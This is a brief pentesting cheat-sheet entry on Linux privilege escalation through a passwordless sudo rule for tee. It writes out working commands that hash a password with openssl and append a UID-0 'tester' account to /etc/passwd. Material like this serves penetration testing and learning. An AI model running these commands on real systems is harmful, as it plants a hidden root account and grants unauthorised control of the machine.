Sudo Tee Privilege Escalation
Investigation
(root) NOPASSWD: /usr/bin/teeExploitation
1. Create a New Password for New User
# -1: MD5 algorithm
# -salt: Use privided salt -> The new username here
openssl passwd -1 -salt "tester" "password123"
# Output: $1$tester$LvsygQ2GEt7VUJQEqhMLf/2. Write New Line with Tee
printf 'tester:$1$tester$LvsygQ2GEt7VUJQEqhMLf/:0:0:root:/root:/bin/bash\n' | sudo tee -a /etc/passwd3. Switch to New User
Last updated